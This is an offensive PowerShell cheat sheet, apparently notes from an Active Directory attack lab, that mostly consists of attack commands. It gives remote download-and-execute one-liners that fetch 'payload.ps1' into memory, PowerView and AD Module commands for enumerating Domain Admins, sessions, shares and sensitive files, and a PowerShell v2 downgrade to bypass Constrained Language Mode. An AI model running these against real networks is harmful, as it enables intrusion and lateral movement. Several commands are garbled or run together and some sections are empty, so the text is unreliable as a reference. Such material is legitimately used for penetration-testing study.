Common PowerShell Attacks

Hacking 101 Windows Attack

PowerShell basics

Get-Help <cmdlet> -Full
Get-Help <cmdlet> -Examples

PowerShell scripts can used multiple things such as:

  • cmdlets
  • native commands
  • functions
  • .NET code
  • DLL
  • Windows API

PowerShell Download and execute in memory of PowerShell:

iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')

$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

iex (iwr '') (PowerShell Version 3)

$h=New-Object -ComObject

$wr = [System.NET.WebRequest]::Create("")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

PowerShell and Active Directory

  • ADSI
  • .NET Classes (System.DirectoryServices.ActiveDirectory)
  • Native Executable
  • PowerShell (.NET Classes and WMI)

Domain Enumeration

Using .NET Classes

Enumeration can be done by using Native Executables and .NET classes: Using the DirectoryServices.ActiveDirectory.Domain class and then static method GetCurrentDomain()

PS C:\> $ADClass = [System.DirectoryServices.ActiveDirectory.Domain]
PS C:\> $ADClass::GetCurrentDomain()

Get the name of the current forest

PS C:\> [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
# OR
PS C:\> [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().name

Using LDAP queries through PowerShell and ADSI Searcher

ADSISearcher is a type accelerator for the System.DirectoryServices.DirectorySearcher .NET class.
–> A type accelerator is a simple alias to represent a .Net class.
–> ADSISearcher It is used to search for one or more objects based on a filter.

PS C:\>  ([adsisearcher]'(&(objectCategory=user))').FindAll()

Active Directory Module in PowerShell

–> The DLL is usually found at this path: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management

PS C:\> Import-Module C:\ADModule\Microsoft.ActiveDirectory.Management.dll -Verbose
# OR
PS C:\> iex (new-Object Net.WebClient).DownloadString('');Import-ActiveDirectory


PS C:\> Get-NetDomain

Domain enumeration – Users / Groups / Shares

Getting domain information PowerView


Getting domain information Active Directory Module


Get Object of another domain PowerView

Get-NetDomain -Domain moneycorp.local

Get Object of another domain AD Module

Get-ADDomain -Identity moneycorp.local

Get domain SID for the current domain PowerView


Get domain SID for the current doamin


Get password policy information PowerView

(Get-DomainPolicy)."system access"

Get Domain policy for another domain PowerView

(Get-DomainPolicy -domain moneycorp.local)."system access"

Get domain controller for current domain and another domain AD Module

Get-ADDomainController -DomainName moneycorp.local -Discover

Get list of user using AD module with all their properties

Get-ADUser -Filter * -Properties *

Get list of user and their description

Get-ADUser -Filter * -Properties * | select GivenName, Description

Get all the properties for users in the current domain

Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | Select Name

Get all user, last password set property (this property can be usefull to detect a potential decoy user)

Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}

Get all the computer in current domain using AD Module

Get-ADComputer -Filter * | select Name

Get list of all the properties for all the computer object in current domain using AD Module

Get-ADComputer -Filter * -Property *

Get all groups containing the word “admin” in group name using AD Module

Get-ADGroup -Filter 'Name -like "*admin*"' | select Name

Get all the members of the Domain Admins group using AD Module

Get-ADGroupMember -Identity "Domain Admins" -Recursive

Get group membership for specific user using AD Module

Get-ADPrincipalGroupMembership -Identity student212

List all the local groups on a machine (needs admin priv on non-dc machines) using PowerView

Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -ListGroups

List members of all the local groups on a machine (needs admin priv on non-dc machines) using PowerView

Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Recurse

Get Active logged users on a computer (needs local admin rights on the target)

Get-NetLoggedon -ComputerName lapt001

Get locally logged users on a computer (needs remote registry on the target – started by default for Windows Server) using PowerView

Get-LoggedonLocal -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Get the last logged user on a computer (needs admin priv and remote regisry on the target) using PowerView

Get-LastLoggedOn -ComputerName server01

Find shares on hosts in current domain using PowerView

Invoke-ShareFinder -Verbose

Find sensitive files on computer in the domain using PowerView

Invoke-FileFinder -Verbose

Domain enumeration – GPO / ACLs

It exist a Group Policy module like the Active Directory module, but we would need for this one to use RSAT and so admin priv.

Listing all GPO using Group Policy Module

Get-GPO -All

Getting the RSoP using Group Policy Module: RSoP : Resultant Set Of Policy : Built-in Windows tool that allows you to discover what policy settings are applied to local and remote computers.

Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html

Listng all GPO using PowerView


Listing GPO applied to specific computer/server using PowerView

Get-NetGPO -ComputerName dcorp-student1.dollarcorp.moneycorp.local

List GPO which use Restricted Groups or groups.xml for interesting users using PowerView


Listing ACL for a specific user

Get-ObjectAcl -SamAccountName student212 -ResolveGuids

How to read an ACE :

  1. ObjectDN : Object distinguished name, this the target object
  2. IdentityReference : Which users or groups have permission
  3. ActiveDirectoryRights : What is the rights/permission (what can the IdentifyRefence do on the ObjectDN)

In the following case : BUILTIN\Administrators(2) have CreateChild, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl, WriteOwner(3) on CN=student212,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local(1)

InheritedObjectType   : All
ObjectDN              : CN=student212,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
ObjectType            : All
IdentityReference     : BUILTIN\Administrators
IsInherited           : True
ActiveDirectoryRights : CreateChild, Self, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl, WriteOwner
PropagationFlags      : None
ObjectFlags           : None
InheritanceFlags      : ContainerInherit
InheritanceType       : All
AccessControlType     : Allow
ObjectSID             : S-1-5-21-1874506631-3219952063-538504511-49157

Listing the ACL for the administrator user using AD Module

(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access

Searching for interesting ACEs using PowerView

. .\PowerView_dev.ps1
Invoke-ACLScanner -ResolveGUIDS

Get The ACLs associated with the specific path

Get-PathACL -Path "\\dcorp-dc.dollarcorp.moneycorp.local\sysvol"

Domain enumeration – Trust

Domain Trust

Trust relatinonship exist between Forest and Domain.

Trust Can be from 2 types:

  • Automatic (Parent/Child, same forest)
  • Established (External)

Trust direction can be multiple types:

  • One-Way-Trust: Unidirectional: Users in the trusted domain can access resource in the trusting domain but the reverse is not true. (Remember: Direction of access is reverse direction of trust)
  • Two-Way-Trust : Bidirectional: Users of both domains can access resources in the other domain.

Trust transitivity: If A = B and B = C then A=C

Non Transitivity: Non transitive – Cannot be extended to other domains in the forest. Can be Two-Way or One-Way.
–> This is the default trust (called external trust) between two domains in different forests when forests do not have a trust relationship.

Forest Trust

  • Trust is establish between each forest root domain
  • Cannot be extended to a third forest (no implicit trust)
  • Can be on-way, two-way, transisitve and non-transitive

Get list of domain trust for the current domain and another domain using PowerView

Get-NetDomainTrustGet-NetDomainTrust -Domain us.dollarcorp.moneycorp.local

Get list of domain trust for the current domain and another domain using AD Module

Get-ADTrustGet-ADTrust -Identity us.dollarcorp.moneycorp.local

Get information from trusted forest

Get-ADForest -Identity eurocorp.local

Get all domains in the current forest using PowerView

Get-NetForestDomainGet-NetForestDomain -Forest eurocorp.local

Get all domains in the current forest using AD Module

(Get-ADForest).Domains(Get-ADForest -Identity eurocorp.local).Domains

List trust of our Forest using PowerView


List trust of our Forest using AD Moduke

Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

Domain Enumeration – User Hunting

Find all machines on the current domain where the current user has local admin access

Find-LocalAdminAccess -Verbose

In case RPC or SMB port are blocked we can use WMI and PSRemoting.

Find local admins on all machines of the domain (needs administrator privs)

Invoke-EnumerateLocalAdmin -Verbose

Find computers where a domain admin (or specific user/group) has sessions:

Invoke-UserHunterInvoke-UserHunter -GroupName "RDPUsers"

Find computers where a domain admin is logged-in: This options queries the DC of the current/provided domain for members of the given group. (Domain Admins by default)

  • The tool gets a list only of high traffic servers (DC, FileServers and Distributed File servers)
Invoke-UserHunter -Stealth

If -Checkaccess, then it also check for LocalAdmin access in the hosts.

Invoke-UserHunter -CheckAccess
  • COM object and PowerShell
  • PE load powershell
  • Reflective PE load powershell
  • AMSI inner workings and bypass
  • domain recon
  • domain privesc
  • local privesc
  • ADSI
  • (dll for powershell)
  • powershell without powershell
  • reverse shell
  • upload server
  • web server
  • CLM nd bypass
  • invoke-share finder, powerfindshare
  • Misc (team viewer, creds access)

Bypass constrained language mode

Constrained Language Mode is a setting in PowerShell that greatly limits what commands can be performed. This can potentially reduce the available attack surface to adversary’s.

Validating the system is running under constrained language mode.

  • PowerShell downgrade to bypass
powershell -version 2
  • PowerShell version 6
  • Attempt command execution with inline functions
  • Bypass by starting new PS session

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